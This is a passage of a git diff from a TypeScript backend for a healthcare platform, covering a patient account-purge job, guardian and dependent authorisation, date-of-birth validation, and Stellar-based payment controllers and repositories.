(holds.length === 0) { + // Fail closed: with no holds registered (a wiring bug) everything would + // look purgeable. The RESTRICT FKs would still stop it, but don't try. + throw new Error('No retention holds registered β€” refusing to purge.'); + } + + const result: PurgeResult = { purged: 0, held: 0, failed: 0 }; + let cursor: string | undefined; + for (;;) { + const page = await patientsRepo.findAnonymizedProfilesPage(anonymizedBefore, cursor, 100); + if (page.length === 0) break; + cursor = page[page.length - 1]!.id; + + for (const profile of page) { + const held = await Promise.all(holds.map((hold) => hold.holds(profile.id))); + if (held.some(Boolean)) { + result.held += 1; + continue; + } + try { + await prisma.$transaction(async (tx) => { + if (!(await patientsRepo.deleteAnonymizedProfile(tx, profile.id))) return; + // Anonymised profiles always had a login (a dependent has none and + // can't delete itself), but the column is nullable since #42. + if (profile.userId) await authService.purgeAnonymizedAccount(tx, profile.userId); + }); + result.purged += 1; + } catch (err) { + if (isForeignKeyRefusal(err)) { + // A RESTRICT FK refused: a record exists that no hold reported yet. + result.held += 1; + } else { + result.failed += 1; + // eslint-disable-next-line no-console + console.error(`[jobs] account purge failed for one profile: ${err instanceof Error ? err.name : typeof err}`); + } + } + } + if (page.length < 100) break; + } + return result; +} + +// --- Guardians and dependents (Phase 8, issue #42, docs/adr/0011) -------- + +export interface DependentView { + id: string; + fullName: string; + dateOfBirth: Date; + guardianSince: Date; +} + +function isActive(guardianship: { revokedAt: Date | null; dependentProfile: PatientProfile }, now: Date): boolean { + const dob = guardianship.dependentProfile.dateOfBirth; + // A dependent always has a DOB (DB CHECK); treat a missing one as inactive + // rather than as "forever a minor". + return guardianship.revokedAt === null && dob !== null && isMinor(dob, config.patients.ageOfMajorityYears, now); +} + +function toDependentView(guardianship: { createdAt: Date; dependentProfile: PatientProfile }): DependentView { + const profile = guardianship.dependentProfile; + return { + id: profile.id, + fullName: profile.fullName, + dateOfBirth: profile.dateOfBirth!, + guardianSince: guardianship.createdAt, + }; +} + +/** + * Creates a new dependent profile owned by the caller (create-only β€” there + * is no way to link an existing profile or account; see ADR 0011). The + * dependent must be under the age of majority, with a DOB not in the + * future. + */ +export async function createMyDependent( + guardianUserId: string, + input: { fullName: string; dateOfBirth: Date }, + now = new Date(), +): Promise { + // The guardian must be a patient with their own profile (the route also + // requires the patient role). + await getMyPatientProfile(guardianUserId); + if (input.dateOfBirth.getTime() > now.getTime()) { + throw new HttpError(400, 'dateOfBirth cannot be in the future.'); + } + if (!isMinor(input.dateOfBirth, config.patients.ageOfMajorityYears, now)) { + throw new HttpError( + 400, + `A dependent must be under ${config.patients.ageOfMajorityYears}. An adult needs their own account.`, + 'DEPENDENT_NOT_A_MINOR', + ); + } + const { profile, guardianship } = await patientsRepo.createDependentWithGuardianship({ + guardianUserId, + fullName: input.fullName, + dateOfBirth: input.dateOfBirth, + }); + return toDependentView({ createdAt: guardianship.createdAt, dependentProfile: profile }); +} + +/** The caller's dependents they can currently act for: not revoked and still + * under the age of majority. Never anyone else's. */ +export async function listMyDependents(guardianUserId: string, now = new Date()): Promise { + await getMyPatientProfile(guardianUserId); // 404 for a deleted account (issue #41), like every patient route + const guardianships = await patientsRepo.findUnrevokedGuardianshipsForGuardian(guardianUserId); + return guardianships.filter((g) => isActive(g, now)).map(toDependentView); +} + +/** + * THE authorisation check for acting on a patient profile (booking, listing + * appointments β€” and every future dependent-scoped surface). Returns the + * profile the caller may act for: + * - no `patientProfileId`, or the caller's own profile id -> own profile; + * - an active dependent of the caller -> that dependent; + * - a dependent whose guardianship ended (revoked / reached majority) + * -> 403 GUARDIANSHIP_INACTIVE; + * - anything else -> 404, the same as a profile that doesn't exist (no + * enumeration of other patients or other guardians' dependents). + */ +export async function resolveActingProfile( + userId: string, + patientProfileId?: string, + now = new Date(), +): Promise { + const own = await patientsRepo.findPatientProfileByUserId(userId); + // A deleted account (issue #41) acts for no one β€” not for itself and not + // for its former dependents β€” even while its access token is still valid. + if (own?.anonymizedAt) throw new HttpError(404, 'No patient profile for this account.'); + if (!patientProfileId) { + if (!own) throw new HttpError(404, 'No patient profile for this account.'); + return own; + } + if (own && own.id === patientProfileId) return own; + + const guardianship = await patientsRepo.findGuardianship(userId, patientProfileId); + if (!guardianship) throw new HttpError(404, 'Patient profile not found.'); + if (!isActive(guardianship, now)) { + throw new HttpError( + 403, + 'Your guardianship of this patient has ended, so you can no longer act for them.', + 'GUARDIANSHIP_INACTIVE', + ); + } + return guardianship.dependentProfile; +} + +/** Retention hold (issues #41/#42, docs/adr/0010 + 0011): a deleted + * guardian's tombstone stays while Guardianship rows name it β€” they are the + * record of who had access to a minor's profile, and the FK is RESTRICT. */ +export async function hasGuardianshipsAsGuardian(patientProfileId: string): Promise { + const profile = await patientsRepo.findPatientProfileById(patientProfileId); + return profile?.userId ? patientsRepo.guardianHasGuardianships(profile.userId) : false; +} diff --git a/backend/src/modules/patients/services/majority.ts b/backend/src/modules/patients/services/majority.ts index a5913053..fa792775 100644 --- a/backend/src/modules/patients/services/majority.ts +++ b/backend/src/modules/patients/services/majority.ts @@ -1,21 +1,21 @@ -// Age of majority (Phase 8, issue #42, docs/adr/0011). Pure date math, so -// it's unit-tested exhaustively instead of being re-derived at call sites. -// -// Convention: evaluated in UTC on the calendar date. A person reaches -// majority at 00:00 UTC on their Nth birthday; someone born on 29 February -// reaches it on 1 March in a non-leap year (their birthday doesn't exist -// that year, and they are not yet N on 28 February). - -/** The instant (00:00 UTC) at which someone born on `dateOfBirth` turns - * `years` old. */ -export function majorityDate(dateOfBirth: Date, years: number): Date { - const y = dateOfBirth.getUTCFullYear() + years; - const m = dateOfBirth.getUTCMonth(); - const d = dateOfBirth.getUTCDate(); - // Date.UTC rolls 29 Feb of a non-leap year over to 1 Mar β€” the intended rule. - return new Date(Date.UTC(y, m, d)); -} - -export function isMinor(dateOfBirth: Date, years: number, now: Date): boolean { - return now.getTime() < majorityDate(dateOfBirth, years).getTime(); -} +// Age of majority (Phase 8, issue #42, docs/adr/0011). Pure date math, so +// it's unit-tested exhaustively instead of being re-derived at call sites. +// +// Convention: evaluated in UTC on the calendar date. A person reaches +// majority at 00:00 UTC on their Nth birthday; someone born on 29 February +// reaches it on 1 March in a non-leap year (their birthday doesn't exist +// that year, and they are not yet N on 28 February). + +/** The instant (00:00 UTC) at which someone born on `dateOfBirth` turns + * `years` old. */ +export function majorityDate(dateOfBirth: Date, years: number): Date { + const y = dateOfBirth.getUTCFullYear() + years; + const m = dateOfBirth.getUTCMonth(); + const d = dateOfBirth.getUTCDate(); + // Date.UTC rolls 29 Feb of a non-leap year over to 1 Mar β€” the intended rule. + return new Date(Date.UTC(y, m, d)); +} + +export function isMinor(dateOfBirth: Date, years: number, now: Date): boolean { + return now.getTime() < majorityDate(dateOfBirth, years).getTime(); +} diff --git a/backend/src/modules/patients/validation.ts b/backend/src/modules/patients/validation.ts index 112b6794..3ff9e4f9 100644 --- a/backend/src/modules/patients/validation.ts +++ b/backend/src/modules/patients/validation.ts @@ -1,27 +1,27 @@ -import { z } from 'zod'; - -// Phase 8, issue #41 β€” `DELETE /patients/me` re-confirms the password. -export const deleteAccountSchema = z.object({ - password: z.string().min(1, 'password is required to delete your account.'), -}); - -// Phase 8, issue #42 (docs/adr/0011). `.strict()` on purpose: a body that -// tries to name an existing profile or user (`patientProfileId`, `userId`, -// ...) is rejected outright β€” dependents are create-only, never linked. -export const createDependentSchema = z - .object({ - fullName: z.string().trim().min(1).max(200), - dateOfBirth: z - .string() - .regex(/^\d{4}-\d{2}-\d{2}$/, 'dateOfBirth must be YYYY-MM-DD') - .transform((value, ctx) => { - const date = new Date(`${value}T00:00:00.000Z`); - // Rejects impossible dates like 2020-02-30 (Date would roll them over). - if (Number.isNaN(date.getTime()) || date.toISOString().slice(0, 10) !== value) { - ctx.addIssue({ code: 'custom', message: 'dateOfBirth must be a real calendar date.' }); - return z.NEVER; - } - return date; - }), - }) - .strict(); +import { z } from 'zod'; + +// Phase 8, issue #41 β€” `DELETE /patients/me` re-confirms the password. +export const deleteAccountSchema = z.object({ + password: z.string().min(1, 'password is required to delete your account.'), +}); + +// Phase 8, issue #42 (docs/adr/0011). `.strict()` on purpose: a body that +// tries to name an existing profile or user (`patientProfileId`, `userId`, +// ...) is rejected outright β€” dependents are create-only, never linked. +export const createDependentSchema = z + .object({ + fullName: z.string().trim().min(1).max(200), + dateOfBirth: z + .string() + .regex(/^\d{4}-\d{2}-\d{2}$/, 'dateOfBirth must be YYYY-MM-DD') + .transform((value, ctx) => { + const date = new Date(`${value}T00:00:00.000Z`); + // Rejects impossible dates like 2020-02-30 (Date would roll them over). + if (Number.isNaN(date.getTime()) || date.toISOString().slice(0, 10) !== value) { + ctx.addIssue({ code: 'custom', message: 'dateOfBirth must be a real calendar date.' }); + return z.NEVER; + } + return date; + }), + }) + .strict(); diff --git a/backend/src/modules/payments/controllers/index.ts b/backend/src/modules/payments/controllers/index.ts index 4cc725b6..1b737e9f 100644 --- a/backend/src/modules/payments/controllers/index.ts +++ b/backend/src/modules/payments/controllers/index.ts @@ -1,105 +1,105 @@ -import type { Request, Response } from 'express'; -import * as paymentsService from '../services'; -import { linkWalletSchema, paymentHistoryQuerySchema } from '../validation'; -import { HttpError } from '../../../http-error'; -import { getParam } from '../../../request-params'; -import { auditActor } from '../../../middleware/request-id'; - -// BigInt doesn't serialize via JSON.stringify by default β€” every response -// here that carries one converts to a string explicitly. The prepared XDR -// is deliberately not part of the general intent shape: it's returned by -// the prepare call itself and can be large. -function serializeIntent(intent: { - id: string; - prescriptionId: string | null; - labOrderId: string | null; - status: string; - patientProfileId: string; - facilityId: string; - amount: bigint; - assetCode: string; - tokenContractId: string | null; - escrowId: bigint | null; - stellarTxHash: string | null; - sorobanContractId: string | null; - preparedTxHash: string | null; - preparedExpiryLedger: number | null; - preparedExpiresAt: Date | null; - refundAfter: Date | null; - createdAt: Date; - updatedAt: Date; -}) { - return { - ...intent, - amount: intent.amount.toString(), - escrowId: intent.escrowId?.toString() ?? null, - }; -} - -export async function linkWallet(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const facilityId = await paymentsService.getOwnFacilityProfileId(req.user.id); - const { stellarPublicKey } = linkWalletSchema.parse(req.body); - const link = await paymentsService.linkWallet(facilityId, stellarPublicKey); - res.status(200).json(link); -} - -export async function getOwnWallet(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const facilityId = await paymentsService.getOwnFacilityProfileId(req.user.id); - const link = await paymentsService.getWalletLink(facilityId); - if (!link) throw new HttpError(404, 'No wallet linked yet.'); - res.status(200).json(link); -} - -export async function getIntent(req: Request, res: Response) { - const id = getParam(req, 'id'); - const intent = await paymentsService.getPaymentIntent(id); - res.status(200).json(serializeIntent(intent)); -} - -export async function prepareIntent(req: Request, res: Response) { - const id = getParam(req, 'id'); - const prepared = await paymentsService.preparePaymentIntent(auditActor(req), id); - res.status(200).json({ - ...serializeIntent(prepared.intent), - // ADR 0005 step 2: unsigned XDR + the ledger after which the - // transaction/auth entries are no longer valid. - xdr: prepared.xdr, - txHash: prepared.txHash, - expiryLedger: prepared.expiryLedger, - }); -} - -export async function fundIntent(req: Request, res: Response) { - const id = getParam(req, 'id'); - const intent = await paymentsService.fundPaymentIntent(auditActor(req), id); - res.status(200).json(serializeIntent(intent)); -} - -export async function releaseIntent(req: Request, res: Response) { - const id = getParam(req, 'id'); - const intent = await paymentsService.releasePaymentIntent(auditActor(req), id); - res.status(200).json(serializeIntent(intent)); -} - -export async function refundIntent(req: Request, res: Response) { - const id = getParam(req, 'id'); - const intent = await paymentsService.refundPaymentIntent(auditActor(req), id); - res.status(200).json(serializeIntent(intent)); -} - -export async function listMyPayments(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const filters = paymentHistoryQuerySchema.parse(req.query); - res.status(200).json(await paymentsService.listMyPayments(req.user.id, filters)); -} - -export async function listFacilityLedger(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const filters = paymentHistoryQuerySchema.parse(req.query); - res.status(200).json(await paymentsService.listFacilityPaymentLedger(req.user.id, filters)); -} - -// SEP-10 Stellar Web Authentication (issue #77) β€” see ./sep10.ts. -export { sep10Challenge, sep10Verify } from './sep10'; +import type { Request, Response } from 'express'; +import * as paymentsService from '../services'; +import { linkWalletSchema, paymentHistoryQuerySchema } from '../validation'; +import { HttpError } from '../../../http-error'; +import { getParam } from '../../../request-params'; +import { auditActor } from '../../../middleware/request-id'; + +// BigInt doesn't serialize via JSON.stringify by default β€” every response +// here that carries one converts to a string explicitly. The prepared XDR +// is deliberately not part of the general intent shape: it's returned by +// the prepare call itself and can be large. +function serializeIntent(intent: { + id: string; + prescriptionId: string | null; + labOrderId: string | null; + status: string; + patientProfileId: string; + facilityId: string; + amount: bigint; + assetCode: string; + tokenContractId: string | null; + escrowId: bigint | null; + stellarTxHash: string | null; + sorobanContractId: string | null; + preparedTxHash: string | null; + preparedExpiryLedger: number | null; + preparedExpiresAt: Date | null; + refundAfter: Date | null; + createdAt: Date; + updatedAt: Date; +}) { + return { + ...intent, + amount: intent.amount.toString(), + escrowId: intent.escrowId?.toString() ?? null, + }; +} + +export async function linkWallet(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const facilityId = await paymentsService.getOwnFacilityProfileId(req.user.id); + const { stellarPublicKey } = linkWalletSchema.parse(req.body); + const link = await paymentsService.linkWallet(facilityId, stellarPublicKey); + res.status(200).json(link); +} + +export async function getOwnWallet(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const facilityId = await paymentsService.getOwnFacilityProfileId(req.user.id); + const link = await paymentsService.getWalletLink(facilityId); + if (!link) throw new HttpError(404, 'No wallet linked yet.'); + res.status(200).json(link); +} + +export async function getIntent(req: Request, res: Response) { + const id = getParam(req, 'id'); + const intent = await paymentsService.getPaymentIntent(id); + res.status(200).json(serializeIntent(intent)); +} + +export async function prepareIntent(req: Request, res: Response) { + const id = getParam(req, 'id'); + const prepared = await paymentsService.preparePaymentIntent(auditActor(req), id); + res.status(200).json({ + ...serializeIntent(prepared.intent), + // ADR 0005 step 2: unsigned XDR + the ledger after which the + // transaction/auth entries are no longer valid. + xdr: prepared.xdr, + txHash: prepared.txHash, + expiryLedger: prepared.expiryLedger, + }); +} + +export async function fundIntent(req: Request, res: Response) { + const id = getParam(req, 'id'); + const intent = await paymentsService.fundPaymentIntent(auditActor(req), id); + res.status(200).json(serializeIntent(intent)); +} + +export async function releaseIntent(req: Request, res: Response) { + const id = getParam(req, 'id'); + const intent = await paymentsService.releasePaymentIntent(auditActor(req), id); + res.status(200).json(serializeIntent(intent)); +} + +export async function refundIntent(req: Request, res: Response) { + const id = getParam(req, 'id'); + const intent = await paymentsService.refundPaymentIntent(auditActor(req), id); + res.status(200).json(serializeIntent(intent)); +} + +export async function listMyPayments(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const filters = paymentHistoryQuerySchema.parse(req.query); + res.status(200).json(await paymentsService.listMyPayments(req.user.id, filters)); +} + +export async function listFacilityLedger(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const filters = paymentHistoryQuerySchema.parse(req.query); + res.status(200).json(await paymentsService.listFacilityPaymentLedger(req.user.id, filters)); +} + +// SEP-10 Stellar Web Authentication (issue #77) β€” see ./sep10.ts. +export { sep10Challenge, sep10Verify } from './sep10'; diff --git a/backend/src/modules/payments/controllers/sep10.ts b/backend/src/modules/payments/controllers/sep10.ts index 4bf88137..a8ce3df7 100644 --- a/backend/src/modules/payments/controllers/sep10.ts +++ b/backend/src/modules/payments/controllers/sep10.ts @@ -1,22 +1,22 @@ -// SEP-10 controllers (issue #77) β€” thin HTTP layer over services/sep10. -// Route-level `authenticate`/`requireVerifiedEmail` middleware runs first -// (see routes/index.ts); these handlers only parse input, call the -// service, and shape the response. -import type { Request, Response } from 'express'; -import * as paymentsService from '../services'; -import { sep10ChallengeQuerySchema, sep10VerifySchema } from '../validation'; -import { HttpError } from '../../../http-error'; - -export async function sep10Challenge(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { account } = sep10ChallengeQuerySchema.parse(req.query); - const challenge = await paymentsService.createSep10Challenge(req.user.id, account); - res.status(200).json(challenge); -} - -export async function sep10Verify(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { transaction } = sep10VerifySchema.parse(req.body); - const result = await paymentsService.verifySep10Challenge(req.user.id, transaction); - res.status(200).json({ ...result, userId: req.user.id }); -} +// SEP-10 controllers (issue #77) β€” thin HTTP layer over services/sep10. +// Route-level `authenticate`/`requireVerifiedEmail` middleware runs first +// (see routes/index.ts); these handlers only parse input, call the +// service, and shape the response. +import type { Request, Response } from 'express'; +import * as paymentsService from '../services'; +import { sep10ChallengeQuerySchema, sep10VerifySchema } from '../validation'; +import { HttpError } from '../../../http-error'; + +export async function sep10Challenge(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { account } = sep10ChallengeQuerySchema.parse(req.query); + const challenge = await paymentsService.createSep10Challenge(req.user.id, account); + res.status(200).json(challenge); +} + +export async function sep10Verify(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { transaction } = sep10VerifySchema.parse(req.body); + const result = await paymentsService.verifySep10Challenge(req.user.id, transaction); + res.status(200).json({ ...result, userId: req.user.id }); +} diff --git a/backend/src/modules/payments/repositories/index.ts b/backend/src/modules/payments/repositories/index.ts index 50412225..80e91fd3 100644 --- a/backend/src/modules/payments/repositories/index.ts +++ b/backend/src/modules/payments/repositories/index.ts @@ -1,247 +1,247 @@ -// payments repositories β€” PaymentIntent, WalletLink and PatientWalletLink -// data access only. Never store PHI here. Never call docforum-escrow -// directly from here β€” go through services/. -import { prisma } from '../../../db/prisma-client'; -import type { PaymentIntent, PaymentIntentStatus, Prisma } from '@prisma/client'; - -/** Reads FacilityProfile directly β€” a Phase 1 core identity model, not - * something the (still-placeholder) facilities module exclusively owns. */ -export function findFacilityProfileByUserId(userId: string) { - return prisma.facilityProfile.findUnique({ where: { userId } }); -} - -/** Same reasoning as findFacilityProfileByUserId β€” PatientProfile is a - * Phase 1 identity model, and the payments module needs the caller's - * patient-scoped id to own-check an intent (issue #80). */ -export function findPatientProfileByUserId(userId: string) { - return prisma.patientProfile.findUnique({ where: { userId } }); -} - -export function upsertWalletLink(facilityId: string, stellarPublicKey: string) { - return prisma.walletLink.upsert({ - where: { facilityId }, - create: { facilityId, stellarPublicKey }, - update: { stellarPublicKey }, - }); -} - -export function findWalletLinkByFacilityId(facilityId: string) { - return prisma.walletLink.findUnique({ where: { facilityId } }); -} - -/** The patient's payer wallet (ADR 0005). Rows are created by the SEP-10 - * linking flow once it exists β€” not by this module's HTTP surface yet. */ -export function findPatientWalletLinkByPatientProfileId(patientProfileId: string) { - return prisma.patientWalletLink.findUnique({ where: { patientProfileId } }); -} - -export function createPaymentIntent(input: { - orderType: 'prescription' | 'lab_order'; - orderId: string; - patientProfileId: string; - facilityId: string; - assetCode: string; - tokenContractId: string; - amount: bigint; -}) { - const orderPointer = input.orderType === 'prescription' - ? { prescriptionId: input.orderId, labOrderId: null } - : { prescriptionId: null, labOrderId: input.orderId }; - return prisma.paymentIntent.create({ - data: { - ...orderPointer, - patientProfileId: input.patientProfileId, - facilityId: input.facilityId, - assetCode: input.assetCode, - tokenContractId: input.tokenContractId, - amount: input.amount, - }, - }); -} - -export function findPaymentIntentById(id: string) { - return prisma.paymentIntent.findUnique({ where: { id } }); -} - -/** One keyset page of a patient's payment intents, oldest first (patient - * data export, issue #40). */ -export function findPaymentIntentsPageForPatient(patientProfileId: string, cursor: string | undefined, take: number) { - return prisma.paymentIntent.findMany({ - where: { patientProfileId }, - orderBy: [{ createdAt: 'asc' }, { id: 'asc' }], - take, - ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), - }); -} - -type PaymentHistoryFilter = { - status?: PaymentIntentStatus; - from?: Date; - to?: Date; - before?: { createdAt: Date; id: string }; - take: number; -}; - -function paymentHistoryWhere(filter: PaymentHistoryFilter) { - return { - ...(filter.status ? { status: filter.status } : {}), - ...(filter.from || filter.to - ? { createdAt: { ...(filter.from ? { gte: filter.from } : {}), ...(filter.to ? { lte: filter.to } : {}) } } - : {}), - ...(filter.before - ? { - OR: [ - { createdAt: { lt: filter.before.createdAt } }, - { createdAt: filter.before.createdAt, id: { lt: filter.before.id } }, - ], - } - : {}), - }; -} - -export function findPaymentHistoryPage( - owner: { patientProfileId: string } | { facilityId: string }, - filter: PaymentHistoryFilter, -) { - return prisma.paymentIntent.findMany({ - where: { ...paymentHistoryWhere(filter), ...owner }, - orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], - take: filter.take, - }); -} - -/** Aggregate each lifecycle bucket, per asset, in PostgreSQL. The amount - * stays BigInt end to end; mixing assets in one total would be meaningless. */ -export function aggregateFacilityPayments(facilityId: string, from?: Date, to?: Date) { - return prisma.paymentIntent.groupBy({ - by: ['status', 'assetCode'], - where: { - facilityId, - status: { in: ['escrowed', 'released', 'refunded'] }, - ...(from || to ? { createdAt: { ...(from ? { gte: from } : {}), ...(to ? { lte: to } : {}) } } : {}), - }, - _sum: { amount: true }, - }); -} - -/** Same FacilityProfile read this module already does for its own - * payee lookups (see findFacilityProfileByUserId). */ -export function findFacilityNamesByIds(ids: string[]) { - return prisma.facilityProfile.findMany({ where: { id: { in: ids } }, select: { id: true, name: true } }); -} - -/** - * Status writes are conditional on the state the caller observed (issue - * #43): `created -> escrowed`, `created -> awaiting_signature`, - * `awaiting_signature -> created` (expiry), `escrowed -> released|refunded`. - * They run in the caller's transaction alongside the AuditEvent, and return - * null if the row was no longer in the expected state (a concurrent action - * won), so an audit event can never claim a transition that didn't happen. - * The check-then-act gap before the on-chain call is issue #24's to close. - */ -export async function markEscrowed( - tx: Prisma.TransactionClient, - id: string, - input: { escrowId: bigint; stellarTxHash: string; sorobanContractId: string; tokenContractId?: string }, -) { - const result = await tx.paymentIntent.updateMany({ - where: { id, status: 'created' }, - data: { status: 'escrowed', ...input }, - }); - return result.count === 1 ? tx.paymentIntent.findUniqueOrThrow({ where: { id } }) : null; -} - -/** `created -> awaiting_signature` (issue #80). Conditional, so two - * concurrent prepare requests can never both produce a live transaction. */ -export async function markAwaitingSignature( - tx: Prisma.TransactionClient, - id: string, - input: { - preparedTxHash: string; - preparedXdr: string; - preparedExpiryLedger: number; - preparedExpiresAt: Date; - refundAfter: Date; - }, -): Promise { - const result = await tx.paymentIntent.updateMany({ - where: { id, status: 'created' }, - data: { status: 'awaiting_signature', ...input }, - }); - return result.count === 1 ? tx.paymentIntent.findUniqueOrThrow({ where: { id } }) : null; -} - -/** `awaiting_signature -> created`, only if the prepared transaction is - * actually past its window (issue #80). A prepare that raced this update - * sees zero rows and re-reads instead of clobbering it. */ -export async function expirePrepared( - tx: Prisma.TransactionClient, - id: string, - now: Date, -): Promise { - const result = await tx.paymentIntent.updateMany({ - where: { id, status: 'awaiting_signature', preparedExpiresAt: { lte: now } }, - data: { - status: 'created', - preparedTxHash: null, - preparedXdr: null, - preparedExpiryLedger: null, - preparedExpiresAt: null, - refundAfter: null, - }, - }); - return result.count === 1 ? tx.paymentIntent.findUniqueOrThrow({ where: { id } }) : null; -} - -/** Ids for one expiry-sweep page, oldest deadline first. */ -export function findExpiredPreparedIntentIds(now: Date, take: number): Promise { - return prisma.paymentIntent - .findMany({ - where: { status: 'awaiting_signature', preparedExpiresAt: { lte: now } }, - orderBy: [{ preparedExpiresAt: 'asc' }, { id: 'asc' }], - take, - select: { id: true }, - }) - .then((rows) => rows.map((row) => row.id)); -} - -export async function markStatus( - tx: Prisma.TransactionClient, - id: string, - from: PaymentIntentStatus, - to: PaymentIntentStatus, -) { - const result = await tx.paymentIntent.updateMany({ where: { id, status: from }, data: { status: to } }); - return result.count === 1 ? tx.paymentIntent.findUniqueOrThrow({ where: { id } }) : null; -} - -/** Existence check for the account-deletion retention hold (issue #41). */ -export async function patientHasPaymentIntents(patientProfileId: string): Promise { - return (await prisma.paymentIntent.findFirst({ where: { patientProfileId }, select: { id: true } })) !== null; -} - -// --- SEP-10 (Stellar Web Authentication) β€” issue #77 ---------------------- -// One row per issued challenge. The nonce comes from the challenge -// transaction's first Manage Data op; its uniqueness makes a challenge -// single-use at the DB level. - -export function createSep10Challenge(input: { userId: string; account: string; nonce: string; expiresAt: Date }) { - return prisma.sep10Challenge.create({ data: input }); -} - -export function findSep10ChallengeByNonce(nonce: string) { - return prisma.sep10Challenge.findUnique({ where: { nonce } }); -} - -/** Atomically consumes a challenge β€” ONE conditional UPDATE, no - * read-then-write. Only a row that is still unconsumed AND unexpired - * moves to `consumedAt`; the returned `count` tells the caller whether - * THIS request won the race. Two concurrent replays of the same signed - * challenge can never both see `count === 1`. Same DB-level pattern as - * booking's conditional slot update (ARCHITECTURE.md Β§5.1). */ -export function consumeSep10Challenge(nonce: string, consumedAt: Date) { - return prisma.sep10Challenge.updateMany({ - where: { nonce, consumedAt: null, expiresAt: { gt: consumedAt } }, - data: { consumedAt }, - }); -} +// payments repositories β€” PaymentIntent, WalletLink and PatientWalletLink +// data access only. Never store PHI here. Never call docforum-escrow +// directly from here β€” go through services/. +import { prisma } from '../../../db/prisma-client'; +import type { PaymentIntent, PaymentIntentStatus, Prisma } from '@prisma/client'; + +/** Reads FacilityProfile directly β€” a Phase 1 core identity model, not + * something the (still-placeholder) facilities module exclusively owns. */ +export function findFacilityProfileByUserId(userId: string) { + return prisma.facilityProfile.findUnique({ where: { userId } }); +} + +/** Same reasoning as findFacilityProfileByUserId β€” PatientProfile is a + * Phase 1 identity model, and the payments module needs the caller's + * patient-scoped id to own-check an intent (issue #80). */ +export function findPatientProfileByUserId(userId: string) { + return prisma.patientProfile.findUnique({ where: { userId } }); +} + +export function upsertWalletLink(facilityId: string, stellarPublicKey: string) { + return prisma.walletLink.upsert({ + where: { facilityId }, + create: { facilityId, stellarPublicKey }, + update: { stellarPublicKey }, + }); +} + +export function findWalletLinkByFacilityId(facilityId: string) { + return prisma.walletLink.findUnique({ where: { facilityId } }); +} + +/** The patient's payer wallet (ADR 0005). Rows are created by the SEP-10 + * linking flow once it exists β€” not by this module's HTTP surface yet. */ +export function findPatientWalletLinkByPatientProfileId(patientProfileId: string) { + return prisma.patientWalletLink.findUnique({ where: { patientProfileId } }); +} + +export function createPaymentIntent(input: { + orderType: 'prescription' | 'lab_order'; + orderId: string; + patientProfileId: string; + facilityId: string; + assetCode: string; + tokenContractId: string; + amount: bigint; +}) { + const orderPointer = input.orderType === 'prescription' + ? { prescriptionId: input.orderId, labOrderId: null } + : { prescriptionId: null, labOrderId: input.orderId }; + return prisma.paymentIntent.create({ + data: { + ...orderPointer, + patientProfileId: input.patientProfileId, + facilityId: input.facilityId, + assetCode: input.assetCode, + tokenContractId: input.tokenContractId, + amount: input.amount, + }, + }); +} + +export function findPaymentIntentById(id: string) { + return prisma.paymentIntent.findUnique({ where: { id } }); +} + +/** One keyset page of a patient's payment intents, oldest first (patient + * data export, issue #40). */ +export function findPaymentIntentsPageForPatient(patientProfileId: string, cursor: string | undefined, take: number) { + return prisma.paymentIntent.findMany({ + where: { patientProfileId }, + orderBy: [{ createdAt: 'asc' }, { id: 'asc' }], + take, + ...(cursor ? { cursor: { id: cursor }, skip: 1 } : {}), + }); +} + +type PaymentHistoryFilter = { + status?: PaymentIntentStatus; + from?: Date; + to?: Date; + before?: { createdAt: Date; id: string }; + take: number; +}; + +function paymentHistoryWhere(filter: PaymentHistoryFilter) { + return { + ...(filter.status ? { status: filter.status } : {}), + ...(filter.from || filter.to + ? { createdAt: { ...(filter.from ? { gte: filter.from } : {}), ...(filter.to ? { lte: filter.to } : {}) } } + : {}), + ...(filter.before + ? { + OR: [ + { createdAt: { lt: filter.before.createdAt } }, + { createdAt: filter.before.createdAt, id: { lt: filter.before.id } }, + ], + } + : {}), + }; +} + +export function findPaymentHistoryPage( + owner: { patientProfileId: string } | { facilityId: string }, + filter: PaymentHistoryFilter, +) { + return prisma.paymentIntent.findMany({ + where: { ...paymentHistoryWhere(filter), ...owner }, + orderBy: [{ createdAt: 'desc' }, { id: 'desc' }], + take: filter.take, + }); +} + +/** Aggregate each lifecycle bucket, per asset, in PostgreSQL. The amount + * stays BigInt end to end; mixing assets in one total would be meaningless. */ +export function aggregateFacilityPayments(facilityId: string, from?: Date, to?: Date) { + return prisma.paymentIntent.groupBy({ + by: ['status', 'assetCode'], + where: { + facilityId, + status: { in: ['escrowed', 'released', 'refunded'] }, + ...(from || to ? { createdAt: { ...(from ? { gte: from } : {}), ...(to ? { lte: to } : {}) } } : {}), + }, + _sum: { amount: true }, + }); +} + +/** Same FacilityProfile read this module already does for its own + * payee lookups (see findFacilityProfileByUserId). */ +export function findFacilityNamesByIds(ids: string[]) { + return prisma.facilityProfile.findMany({ where: { id: { in: ids } }, select: { id: true, name: true } }); +} + +/** + * Status writes are conditional on the state the caller observed (issue + * #43): `created -> escrowed`, `created -> awaiting_signature`, + * `awaiting_signature -> created` (expiry), `escrowed -> released|refunded`. + * They run in the caller's transaction alongside the AuditEvent, and return + * null if the row was no longer in the expected state (a concurrent action + * won), so an audit event can never claim a transition that didn't happen. + * The check-then-act gap before the on-chain call is issue #24's to close. + */ +export async function markEscrowed( + tx: Prisma.TransactionClient, + id: string, + input: { escrowId: bigint; stellarTxHash: string; sorobanContractId: string; tokenContractId?: string }, +) { + const result = await tx.paymentIntent.updateMany({ + where: { id, status: 'created' }, + data: { status: 'escrowed', ...input }, + }); + return result.count === 1 ? tx.paymentIntent.findUniqueOrThrow({ where: { 